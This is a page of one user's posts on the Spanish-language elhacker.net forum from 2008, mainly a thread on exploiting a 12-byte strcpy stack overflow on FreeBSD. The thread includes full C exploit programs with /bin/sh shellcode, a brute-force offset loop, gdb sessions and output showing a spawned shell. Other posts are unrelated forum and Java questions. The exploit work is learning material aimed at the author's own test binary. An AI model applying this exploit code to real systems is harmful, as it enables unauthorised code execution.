elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Mensajes
Páginas: 1 ... 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 [228] 229 230 231
2271  Foros Generales / Sugerencias y dudas sobre el Foro / Re: fue mi ISP o un Ataque al foro? en: 18 Enero 2008, 23:48 pm
Claramente por eso pregunto si tal vez fue mi ISP,  ;D

Para hacer tal aseveracion me imagino que nunca te ha sucedido algo fuera de lo comun.

Ahora que tienes razon, mi provedor solo me ha fallado 1 vez desde que lo tengo, en el momento que no podia entra al foro. si podia entrar a cualquier otra pagina.

No me pasan cosas fuera de lo comun..  :D

Saludos
2272  Foros Generales / Sugerencias y dudas sobre el Foro / fue mi ISP o un Ataque al foro? en: 18 Enero 2008, 23:27 pm
18/01/2008 a las 23:10 Aproximadamente hora local del foro, trate de acceder, y este no me respondio en unos 5 minutos... tal vez fue mi ISP a algun sistema intermedio pero la verdad me entro la duda, el foro fue atacado?

A alguien mas se le relentizo el acceso  :huh:
2273  Seguridad Informática / Bugs y Exploits / Re: No puedo sobrescribir EIP (Linux) en: 18 Enero 2008, 22:17 pm

Si le entran, en el último estás metiendo 13 bytes, porque strcpy añade un null (0x00) al final, y por eso da segmentation fault. Eso que es con el gcc 4 o el 3?.


 ;D Gracias por confirmarmelo RaiSe definitivamente me la pase pensando en eso parte de la Tarde de ayer, y cai en la cuenta de que efectivamente el byte NULL (0x00), Ocupa el lugar numero 13 lo cual sobre escribre sobre los datos continuos de la Pila.

Si el binario antes mostrado que se corrompe con el byte numero 13 esta compilado con gcc 4.1.3

PD: El exploit que es para el vulnerable compilado con gcc 4 o el 3?

El ultimo exploit mostrado anteriormente esta hecho para aplicaciones con BoF compiladas con gcc 4.1.3 funciona en mi FreeBSD no se si funcion en Linux no tengo en este momento una distro instalada para comprobarlo, y todos los CD-Live que tengo manejan gcc 3.

Bien, despues de varios intentos he logrado explotar el Bof de zhynar_X, esta vez fue al 4to Intento

Código:
%./eexploit_gcc41 40 300 200
Direcion Ret: 0xbfbfe800
Direcion Nop: 0xbfbfe7ce

Has escrito:
%./eexploit_gcc41 40 300 180
Direcion Ret: 0xbfbfe814
Direcion Nop: 0xbfbfe7e2

Has escrito:   迿迿迿迿迿迿迿迿迿迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 160
Direcion Ret: 0xbfbfe828
Direcion Nop: 0xbfbfe7f6

Has escrito:   (迿(迿(迿(迿(迿(迿(迿(迿(迿(迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿� 翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 140
Direcion Ret: 0xbfbfe83c
Direcion Nop: 0xbfbfe80a

Has escrito:   <迿<迿<迿<迿<迿<迿<迿<迿<迿<迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
$                                                   

El primer intento con el exploit para los BoF compilados con gcc 4.1.3 que mostre, funciona perfectamente tambien en mi sistema pero esto estando en Modo terminal, sin modo grafico.

La funcionalidad del exploit cambia ya que la funcion:

Código
  1. unsigned long get_esp(void)     {
  2.   __asm__("movl %esp,%eax");
  3. }

abquiere un valor de la pila actual en un momento determinado del sistema, y este valor cambia dependiendo de la cantidad de programas que esten en ejecucion en ese momento.

2274  Programación / Java / Re: interpretar imagenes en: 18 Enero 2008, 06:08 am
Yo tendria otra idea para este tipo de cosas, un poco diferente.

buenas,

pretendo hacer un programa que juegue por si mismo a un programilla de blackjack que tengo aqui, pero la verdad que no tengo idea de como hacer para reconocer las cartas de la pantalla del programa  :huh:. Con la clase robot puedo mover el raton y hacer los clicks para ejecutar las acciones eso es sencillo, pero como interpretar el numero de las cartas, necesario para saber que accion tomar en el juego?? Alguna idea??

Gracias  :)

Bien que tal ubermensch2k, creo que en realidad quieres, es hacer que la compuradora juege sola con siguo misma,usando un programa de terceros.

A mi punto de vista yo creo que lo que es verdaderamente interesante es hacer el algoritmo para que se pueda jugar automaticamente. Tener las reglas bien en claro.

Tendriamos que tener primeramente, No se si ya tienes lo que acontinuacion voy la mencionar por eso lo pongo.
Clase Carta.
Clase Judador, el cual puede ser un usuario o la computadora
Clase Tablero o Mesa, en la cual las clases anteriores se ejecuten esta seria la que meneje los graficos y todo eso.

Una vez hecho esto, (teniendo las reglas del juego y que la clase jugador tome las mejores deciciones) todo deberia de estar bien solo faltaria el graficon que quieres obtener de un programa de terceros..

Espero y esto te ayude, saludos.
2275  Foros Generales / Sugerencias y dudas sobre el Foro / Dudas con los TAG del Foro (Solucionado) en: 18 Enero 2008, 05:36 am
Saludos gracias a que no me explique bien, Ragnarok me bloqueo el otro Tema que tenia en Modalidades de Codigo? pero bueno ya que le hacemos, esta en su derecho no por nada es Moderador Global

Citar
Tu mensaje no se entiende en absoluto, primero pones el símbolo #, luego el %, luego un código vacío y luego otro que no usa ninguno de los símbolos que has mencionado. Tampoco dices por qué lenguaje estás preguntando ni nada. Mira a ver si quieres esto y si no lo preguntas bien.


Bien mi duda se presenta a hora de usar el Tag [ c o d e] [ / c o d e], que cuando lo utilizas sin nada te pone el codigo simple, ahora si le agregas code=c, te lo pone con colores y todo,

Mi pregunta es la siguiente:

Que otros codigos te puede Remarcar el TAG de Code ???

Ensamblador, PHP, JAVA, shellScript   ;D Agradeceria su apoyo.

Gracias de Antemano.   :)
2276  Seguridad Informática / Bugs y Exploits / Re: No puedo sobrescribir EIP (Linux) en: 18 Enero 2008, 03:28 am
Algo que note, y la verdad no se si sea la version de mi gcc es que no le caben los 12 bytes reservados mirar

Código:
%./codigo AAAA

Has escrito:   AAAA
%./codigo AAAABBBB

Has escrito:   AAAABBBB
%./codigo AAAABBBBCCC

Has escrito:   AAAABBBBCCC
%./codigo AAAABBBBCCCC

Has escrito:   AAAABBBBCCCC
Segmentation fault


A ver si alguien nos puede hechar lamano con esto, de todos modos yo lo vere con mas calma.
2277  Seguridad Informática / Bugs y Exploits / Re: No puedo sobrescribir EIP (Linux) en: 15 Enero 2008, 16:37 pm
Bien, despues de varios intentos he logrado explotar el Bof de zhynar_X, esta vez fue al 4to Intento

Código:
%gcc -o eexploit_gcc41 eexploit_gcc41.c -ggdb -static
%./eexploit_gcc41 40 300 200
Direcion Ret: 0xbfbfe800
Direcion Nop: 0xbfbfe7ce

Has escrito:
%./eexploit_gcc41 40 300 180
Direcion Ret: 0xbfbfe814
Direcion Nop: 0xbfbfe7e2

Has escrito:   迿迿迿迿迿迿迿迿迿迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 160
Direcion Ret: 0xbfbfe828
Direcion Nop: 0xbfbfe7f6

Has escrito:   (迿(迿(迿(迿(迿(迿(迿(迿(迿(迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿� 翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 140
Direcion Ret: 0xbfbfe83c
Direcion Nop: 0xbfbfe80a

Has escrito:   <迿<迿<迿<迿<迿<迿<迿<迿<迿<迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
$                                                   

Fue tal vez exesivo pero ya que  ;D al fin se pudo. He aqui el xploit.

Código
  1. #include<stdio.h>
  2. #define NOP 0x90
  3.  
  4. char shellcode[]=
  5. "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  6. "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
  7. "\xb0\x3b\x50\xcd\x80";
  8.  
  9. unsigned long get_esp(void)     {
  10.   __asm__("movl %esp,%eax");
  11. }
  12.  
  13. int  main(int argc, char *argv[])       {
  14.        FILE *archivo;
  15. char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
  16. char *buffer;
  17.        unsigned long nop_addr;
  18. unsigned long ret_addr;
  19.        int offset = 0;
  20. int size,bof,i,len;
  21.  
  22.        if (argc!=4)    {
  23. printf("Crea \n");
  24.                printf("Uso: %s <size_BOF_buffer> <size_evil_buffer> <desplazamiento>\n", argv[0]);
  25.                return 0;
  26.        }
  27.  
  28.        offset  = atoi(argv[3]);
  29. bof = atoi(argv[1]);
  30. size = atoi(argv[2]);
  31.  
  32.        buffer = calloc(size,sizeof(char));
  33.       ret_addr = get_esp() - offset;
  34. nop_addr = ret_addr - 50;
  35.  
  36.        for (i = 0; i < (bof/4); i++)
  37.                *((long*)buffer + i) = ret_addr;
  38.  
  39. long temp =  (long)buffer + bof;
  40.  
  41. for (i = 0; i < ((size-bof)/4); i++)
  42. *((long*)temp + i) = nop_addr;
  43.  
  44.        for (i = 0; i < size - bof; i++)
  45.                buffer[bof + 60 + i] = NOP;
  46.  
  47. len = strlen(shellcode);
  48.  
  49.        for (i = 0; i < len + 1; i++)
  50.                *(buffer + size - len - 1 + i ) = shellcode[i];
  51.  
  52.        buffer[size - 1] = '\0';
  53. vuln[1] = buffer;
  54. printf("Direcion Ret: 0x%x\n",ret_addr);
  55. printf("Direcion Nop: 0x%x\n",nop_addr);
  56. //printf("Cadena:\n%s\n",buffer);
  57.        execv(vuln[0],vuln);
  58.        return 0;
  59. }
  60.  

Cualquier duda con cuaquiel cosa seguir el hilo.
2278  Seguridad Informática / Bugs y Exploits / Re: No puedo sobrescribir EIP (Linux) en: 14 Enero 2008, 07:40 am
AHUEVO que funciona.... por lo menos yo no lo havia visto asi  :o

Este exploit funciona para el buffers pequeños, y funciono a la primera para el codigo de  zhynar_X

eexploit2.c

Código:
#include<stdio.h>
#define NOP 0x90

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

int  main(int argc, char *argv[])       {
        FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
        long  nop_addr;
        int offset = 0;
int size;
int bof;
        int i;
        if (argc!=4)    {
printf("Crea \n");
                printf("Uso: %s <size_BOF_buffer> <size_evil_buffer> <desplazamiento>\n", argv[0]);
                return 0;
        }

        offset  = atoi(argv[3]);
bof = atoi(argv[1]);
size = atoi(argv[2]);

        buffer = calloc(size,sizeof(char));
        nop_addr = get_esp() - offset;

        for (i = 0; i < (bof/4); i++)
                *((long*)buffer + i) = nop_addr;

        for (i = 0; i < size - bof; i++)
                buffer[bof + i] = NOP;

        for (i = 0; i < strlen(shellcode); i++)
                *(buffer + size/2 + i ) = shellcode[i];

        buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",nop_addr);
        execv(vuln[0],vuln);
        return 0;
}

Código:
%gcc -o eexploit2 eexploit2.c
%./eexploit
Crea un archivo con el EGG
Uso: ./eexploit <desplazamiento>
%./eexploit2
Crea
Uso: ./eexploit2 <size_BOF_buffer> <size_evil_buffer> <desplazamiento>
%./eexploit2 40 300 200
Direcion Ret: 0xbfbfe810

Has escrito:   迿迿迿迿迿迿迿迿迿迿��������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P����������������������������������������������������������������������������������������������������������������������������
$ exit
%

 ;D  ;D :rolleyes: :rolleyes: ;D  :o ;D :rolleyes: :rolleyes:  :o  ;D  ::) ::) ::)  :xD


El buffer quedaria asi:

 RET'ssss + NOP'ssssssss + shellcode. + NOP'sssss

la version del codigo vulnerable que explote, fue compilada con gcc 3.4.6

Ahora solo resta explotar el codigo compilado con el gcc 4.1





2279  Seguridad Informática / Bugs y Exploits / Re: No puedo sobrescribir EIP (Linux) en: 14 Enero 2008, 07:22 am
Bien, ahora tengo 2 o mas problemas entre mano, la verdad me obseciona demasiado este tema.

trate de explotar el codigo mostrado por zhynar_X, sin embargo no he tenido mucho exito  :xD

El codigo vulnerable es:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4.  
  5. int main(int argc, char **argv) {
  6.  
  7.  
  8. char buff[12];
  9. strcpy(buff,argv[1]);
  10. printf("\nHas escrito:   %s\n",buff);
  11.  
  12. return 0;
  13.  
  14.  
  15. }
  16.  

BIen creo que con lo que mostrare a continuacion resolvere una dudas sobre como meter una dirccion  en el ret, atravez de la cadena de ingreso. al programa vulnerable.

Es decir... como meto un offset en un string??

Saludos

Bien eso se hace de muchas maneras puedes crear un archivo con el buffer y despues hacer un cat

Código:
% ./codigo `cat evilbuffer.txt`

Puedes usar perl, un exploit, shell scritp, pyton, variables de Entorno etc, lo que mejor se te de, pero si sabes programar en C, recomiendo encarecidamente C.

Hice un exploit para tu codigo y no funciona.  :rolleyes: ya me trae como loco, he aqui el exploit


eexploit.c

Código
  1. #include<stdio.h>
  2. #define NOP 0x90
  3.  
  4. char shellcode[]=
  5. "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  6. "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
  7. "\xb0\x3b\x50\xcd\x80";
  8.  
  9. unsigned long get_esp(void)     {
  10.   __asm__("movl %esp,%eax");
  11. }
  12.  
  13. int  main(int argc, char *argv[])       {
  14.        FILE *archivo;
  15. char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
  16. char *buffer;
  17.        long  nop_addr;
  18.        int offset = 0;
  19. int size = 40;
  20.        int i;
  21.        if (argc!=2)    {
  22. printf("Crea un archivo con el EGG\n");
  23.                printf("Uso: %s <desplazamiento>\n", argv[0]);
  24.                return 0;
  25.        }
  26.  
  27.        offset  = atoi(argv[1]);
  28.        buffer = calloc(size,sizeof(char));
  29.        nop_addr = get_esp() - offset;
  30.  
  31.        for (i = 0; i < (size/4); i++)
  32.                *((long*)buffer + i) = nop_addr;
  33.  
  34.        for (i = 0; i < size/2; i++)
  35.                buffer[i] = NOP;
  36.  
  37.        for (i = 0; i < strlen(shellcode); i++)
  38.                *(buffer + 3 +i ) = shellcode[i];
  39.  
  40.        buffer[size - 1] = '\0';
  41. vuln[1] = buffer;
  42. printf("Direcion Ret: 0x%x\n",nop_addr);
  43.        execv(vuln[0],vuln);
  44.        return 0;
  45. }
  46.  
  47.  

Bien estoy seguro que el codigo vulnerable que compile con el gcc 3.4.6 en cual si le mandamos de AAAABBBBCCCC.... se atora en la H


Código:
%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
.............
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H


de la A a la G hay 28 espacios disponibles lo que hace el exploit que cree, es pide un offset, para jugar con el desplazamiento... ya saben lo clasico de  Aleph One

Con este espacio tan reducido todo tiene que estar mas que calculado. y el buffer que se manda a la aplicacion vulnerable, es en si lo siguente

3 NOP's
25 bytes de Shellcode
3 veces la direccion de retorno (4 bytes de cada una) para un total del buffer de 40 bytes, aunque solo sea nesesaria la Primera como vimos.

Despues ejecute el exploit manualmente y me enfade  :P

Código:
%./eexploit 20
Direcion Ret: 0xbfbfe8d4

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 30
Direcion Ret: 0xbfbfe8ca

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 120
Direcion Ret: 0xbfbfe870

Has escrito:   ���1�Ph//shh/bin��PSPTS�;Pp迿p迿p��
Segmentation fault
%./eexploit 200
Direcion Ret: 0xbfbfe820

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P 迿 迿 ��
Segmentation fault


asi que genere otro archivo en c para poder ejecutar el exploit con todas las direcciones posibles

xploitforcebrute.c

Código
  1. #include<stdio.h>
  2.  
  3. int main(void) {
  4. int i = 0;
  5. char *explo = "/usr/home/luis/eexploit";
  6. char *buffer= (char*) calloc(40,sizeof(char));
  7. while(i<1000) {
  8. printf("Usando: %d\n",i);
  9. sprintf(buffer,"%s %d",explo,i);
  10. system(buffer);
  11. i++;
  12. }
  13. }
  14.  
  15.  

Y nada  >:(, se tiene que poder pero no se si algo este mal, si alguien nota algo por favor que lo mensione aqui, por eso repito que lo buffers peque;os estan dificiles de explotar, pero si cabe el shellcode, y la direccion de retorno, estoy con que se debe de poder.


Mi gcc es el 4.1 . La verdad es que tiene más pinta de ser del gcc, que de Linux especificamente. Sería interesante probar un gcc más actual en Freebsd y mirar si hace lo mismo o no. Un saludo.

Si efectivamente es la version de gcc

Código:
%gcc41 codigo.c -o codigo -ggdb -static
%gdb codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) disas main
Dump of assembler code for function main:
0x080481b0 <main+0>:    lea    0x4(%esp),%ecx
0x080481b4 <main+4>:    and    $0xfffffff0,%esp
0x080481b7 <main+7>:    pushl  0xfffffffc(%ecx)
0x080481ba <main+10>:   push   %ebp
0x080481bb <main+11>:   mov    %esp,%ebp
0x080481bd <main+13>:   push   %ecx
0x080481be <main+14>:   sub    $0x14,%esp
0x080481c1 <main+17>:   mov    0x4(%ecx),%eax
0x080481c4 <main+20>:   add    $0x4,%eax
0x080481c7 <main+23>:   mov    (%eax),%eax
0x080481c9 <main+25>:   sub    $0x8,%esp
0x080481cc <main+28>:   push   %eax
0x080481cd <main+29>:   lea    0xfffffff0(%ebp),%eax
0x080481d0 <main+32>:   push   %eax
0x080481d1 <main+33>:   call   0x8049734 <strcpy>
0x080481d6 <main+38>:   add    $0x10,%esp
0x080481d9 <main+41>:   sub    $0x8,%esp
0x080481dc <main+44>:   lea    0xfffffff0(%ebp),%eax
0x080481df <main+47>:   push   %eax
0x080481e0 <main+48>:   push   $0x805b46a
0x080481e5 <main+53>:   call   0x8049700 <printf>
0x080481ea <main+58>:   add    $0x10,%esp
0x080481ed <main+61>:   mov    $0x0,%eax
0x080481f2 <main+66>:   mov    0xfffffffc(%ebp),%ecx
0x080481f5 <main+69>:   leave
0x080481f6 <main+70>:   lea    0xfffffffc(%ecx),%esp
0x080481f9 <main+73>:   ret
End of assembler dump.
(gdb) list
1       #include <stdio.h>
2       #include <string.h>
3
4
5       int main(int argc, char **argv) {
6
7
8               char buff[12];
9               strcpy(buff,argv[1]);
10              printf("\nHas escrito:   %s\n",buff);
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD

Program received signal SIGSEGV, Segmentation fault.
0x080481f9 in main (argc=Error accessing memory address 0x44444444: Bad address.
) at codigo.c:15
15      }
(gdb) info register
eax            0x0      0
ecx            0x44444444       1145324612
edx            0x3e     62
ebx            0x2      2
esp            0x44444440       0x44444440
ebp            0x45454545       0x45454545
esi            0xbfbfe958       -1077941928
edi            0x0      0
eip            0x80481f9        0x80481f9
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) printf "%c\n", 0x44
D


Bien ahora se atora en la D, dejo exactamente los 12 bytes de Buffer  :o, que optimizacion tan cabrona, lo voy a analizar detenidamente para ver que hace exactamente. y poder dar con la forma de explotarlo, pero eso si va a ser imposible que se meta una shellcode en esos 12 bytes...  :huh:

Almenos que   :rolleyes: huy no lo habia visto es una idea bien loca a lo mejor a alguien ya se le ocurrio, pero bueno se me acaba de ocurrir ahorita que es posible sobre escribir todo los datos y mandar el shell code hasta el final ejemplo del buffer:

AAAAAAAAAAAA + RET'ssss + NOP'ssssssss + shellcode.

esto en Lugar del clasico

NOP'ssssssss + Shellcode + RET'sssss

Lo probare ahora mismo.



2280  Seguridad Informática / Bugs y Exploits / Re: No puedo sobrescribir EIP (Linux) en: 14 Enero 2008, 02:57 am
viene predeterminada con el sistema  ;D, es la 3.4.6, mirar:

Código:
%gcc -v
Using built-in specs.
Configured with: FreeBSD/i386 system compiler
Thread model: posix
gcc version 3.4.6 [FreeBSD] 20060305

 :huh: No sabia que ahora linux tubiese ese problema... a partir de que version de ; kernel salio eso, alquien tiene  el link. ?

tendre que modificar mis exploits para linux, si se trata de un BOF dentro de main  :rolleyes:


Hey zhynar_X, que kernel de Linux usa tu Debian ? y cual es la version de gcc ? para poder verificar todas las dudas aqui susitadas. ;D
Páginas: 1 ... 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 [228] 229 230 231
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines